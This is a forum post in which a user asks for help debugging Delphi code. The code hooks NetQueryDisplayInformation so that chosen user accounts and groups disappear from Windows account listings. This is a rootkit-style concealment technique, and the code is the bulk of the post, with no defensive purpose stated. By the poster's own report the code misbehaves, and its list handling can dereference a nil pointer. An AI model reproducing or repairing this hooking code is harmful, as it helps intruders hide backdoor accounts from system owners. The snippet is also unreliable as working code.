function NetQueryDisplayInformationCallback(ServerName: LPCWSTR; Level, Index, EntriesRequested, PreferredMaximumLength: DWORD; ReturnedEntryCount: LPDWORD; var SortedBuffer: PVOID): NET_API_STATUS; stdcall;
var
Offset: dword;
User, Users: PNET_DISPLAY_USER;
Group, Groups: PNET_DISPLAY_GROUP;
begin
Result := NetQueryDisplayInformationNextHook(ServerName, Level, Index, EntriesRequested, PreferredMaximumLength, ReturnedEntryCount, SortedBuffer);
if Result <> 0 then Exit;
case dword(Level) of
1:
begin
Offset := 0;
User := nil;
repeat
Users := PNET_DISPLAY_USER(pointer(dword(SortedBuffer) + Offset));
if SubTextExists(USERS_TO_HIDE, WideCharToString(Users.usri1_name), '|') then
begin
if Users.usri1_next_index = 0 then
begin
if User <> nil then User.usri1_next_index := 0;
Exit;
end
else
begin
User.usri1_next_index := User.usri1_next_index + Users.usri1_next_index;
end;
end
else
begin
User := Users;
end;
Offset := Offset + Users.usri1_next_index;
until Users.usri1_next_index = 0;
end;
3:
begin
Offset := 0;
Group := nil;
repeat
Groups := PNET_DISPLAY_GROUP(pointer(dword(SortedBuffer) + Offset));
if SubTextExists(GROUPS_TO_HIDE, WideCharToString(Groups.grpi3_name), '|') then
begin
if Groups.grpi3_next_index = 0 then
begin
if Group <> nil then Group.grpi3_next_index := 0;
Exit;
end
else
begin
Group.grpi3_next_index := Group.grpi3_next_index + Groups.grpi3_next_index;
end;
end
else
begin
Group := Groups;
end;
Offset := Offset + Groups.grpi3_next_index;
until Groups.grpi3_next_index = 0;
end;
end;
end;
This function is doing the hooking ok but handeling is not working ok :S i don't know why but all users get hidden but all group stay just visibel :S
can some1 explain me what iam doing wrong please
regardes
LibX